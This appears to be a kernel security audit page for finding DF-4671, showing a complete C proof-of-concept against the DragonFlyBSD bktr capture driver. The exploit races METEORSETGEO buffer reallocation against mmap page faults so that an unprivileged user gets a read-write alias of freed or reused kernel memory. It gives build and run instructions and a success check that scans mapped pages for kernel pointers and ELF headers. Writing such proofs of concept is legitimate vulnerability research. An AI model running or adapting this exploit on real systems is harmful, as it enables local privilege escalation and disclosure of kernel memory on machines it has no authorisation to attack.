⬢ DragonFlyBSD Kernel Audit
DF-4671 / bktr_mmap_race.c
← back to finding ↓ download raw
/*
 * DF-4671 - bktr_mmap fault-time dev_dmmap race vs METEORSETGEO buffer
 *           free+reassign (no locking anywhere).
 *
 * Primitive (source-verified):
 *   bktr_core.c:1667-1673 (METEORSETGEO grow path, unlocked):
 *        buf = get_bktr_mem(unit, temp*PAGE_SIZE);   // new buffer
 *        kmem_free(kernel_map, bktr->bigbuf, ...);   // OLD buffer KVA freed
 *        bktr->bigbuf = buf;                         // <-- dangling window
 *   bktr_os.c:680-683 (bktr_mmap, unlocked, re-run by the device pager at
 *   PAGE-FAULT time - sys/vm/device_pager.c:360 old_dev_pager_fault):
 *        if (ap->a_offset >= bktr->alloc_pages * PAGE_SIZE) return EINVAL;
 *        ap->a_result = atop(vtophys(bktr->bigbuf) + ap->a_offset);
 *
 * A page fault served inside the kmem_free->bigbuf=new window computes
 * vtophys() on the freed KVA.  kmem_free() on the object-less
 * kmem_alloc_pageable() entry does NOT pmap_remove (vm_map.c:3300-3370
 * fall-through) and does NOT free the wired pages (no vm_page_free_contig),
 * so the stale kernel PTEs survive and the fault maps whatever now lives at
 * that KVA / the orphaned pages.  If the KVA has been re-allocated in the
 * window, userspace gets an RW alias of live kernel memory.
 *
 * Requires: /dev/bktr0 (Bt848/878 PCI capture card present; node is 0444,
 * i.e. world-readable - unprivileged).
 *
 * Build:  cc -O2 -pthread -o bktr_mmap_race bktr_mmap_race.c
 * Run:    ./bktr_mmap_race            (unprivileged user)
 *
 * SUCCESS CRITERION (on hardware): thread B maps a page whose contents do
 * not belong to the frame buffer: kernel pointers (0xffff...), an ELF
 * header, kernel strings - printed as "KERNEL-DATA HIT".
 */
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <dev/video/meteor/ioctl_meteor.h>

#define DEV		"/dev/bktr0"
#define ROWS		1022
#define COLS		1022
/* legal geometry: cols even <=1022 (mask 0x3fe), rows even <=1022 (0x7fe),
 * frames <= 32.  each grow past alloc_pages reallocates+frees bigbuf. */

static volatile int stop;
static int probe_off = 0;	/* file offset probed by the mapper thread */
static int g_fd = -1;

static int ioctl_fd(void)
{
	if (g_fd < 0)
		g_fd = open(DEV, O_RDONLY);
	return g_fd;
}

static int grow(int frames)
{
	struct meteor_geomet g;
	g.rows = ROWS;
	g.columns = COLS;
	g.frames = frames;
	g.oformat = 0;		/* RGB16 */
	return ioctl(ioctl_fd(), METEORSETGEO, &g);
}

/* look for content that cannot be a zeroed/video frame buffer */
static int looks_like_kernel(uint8_t *p)
{
	uint64_t *q = (uint64_t *)p;
	int i, nz = 0;

	for (i = 0; i < 4096 / 8; i++) {
		if (q[i])
			nz++;
		if ((q[i] >> 48) == 0xffffULL)	/* kernel pointer */
			return 1;
	}
	if (memmem(p, 4096, "\177ELF", 4))
		return 1;
	if (nz > 64 && memmem(p, 4096, "DragonFly", 9))
		return 1;
	return 0;
}

static void *geo_thr(void *arg)
{
	int frames = 2;

	while (!stop) {
		if (grow(frames) == 0) {
			fprintf(stderr, "[geo] grew to frames=%d "
			    "(buf %d pages)\n", frames,
			    (ROWS * COLS * frames * 2 + 4095) / 4096);
			frames++;
		}
		if (frames > 24)
			frames = 24;	/* stay within contigmalloc limits */
		usleep(200);
	}
	return NULL;
}

static void *map_thr(void *arg)
{
	uint8_t *p;
	int fd, hits = 0, iters = 0;

	while (!stop) {
		fd = open(DEV, O_RDONLY);
		if (fd < 0) {
			perror("open " DEV);
			stop = 1;
			break;
		}
		/* ctor validates offset now; the FAULT re-queries dev_dmmap
		 * (device_pager.c:360) at touch time - that is the race */
		p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd,
		    probe_off);
		if (p != MAP_FAILED) {
			iters++;
			if (looks_like_kernel(p)) {
				hits++;
				printf("KERNEL-DATA HIT at file offset 0x%x "
				    "after %d mappings:\n", probe_off, iters);
				for (int i = 0; i < 4; i++)
					printf("  %016jx\n",
					    (uintmax_t)*(uint64_t *)(p + i * 8));
				stop = 1;
			}
			munmap(p, 4096);
		}
		close(fd);
	}
	fprintf(stderr, "[map] done: %d faults probed, %d hits\n", iters, hits);
	return NULL;
}

int main(int argc, char **argv)
{
	pthread_t a, b;
	int fd;

	if (argc > 1)
		probe_off = strtoul(argv[1], NULL, 0) & ~4095;

	fd = open(DEV, O_RDONLY);
	if (fd < 0) {
		int e = errno;
		printf("open(\"%s\") failed: %s (errno %d)\n", DEV,
		    strerror(e), e);
		if (e == ENXIO)
			printf("=> no bktr device on this machine "
			    "(Bt848/878 PCI card absent): "
			    "trigger is hardware-gated, cannot run here.\n");
		return 2;
	}
	g_fd = fd;

	pthread_create(&a, NULL, geo_thr, NULL);
	pthread_create(&b, NULL, map_thr, NULL);
	pthread_join(b, NULL);
	stop = 1;
	pthread_join(a, NULL);
	return 0;
}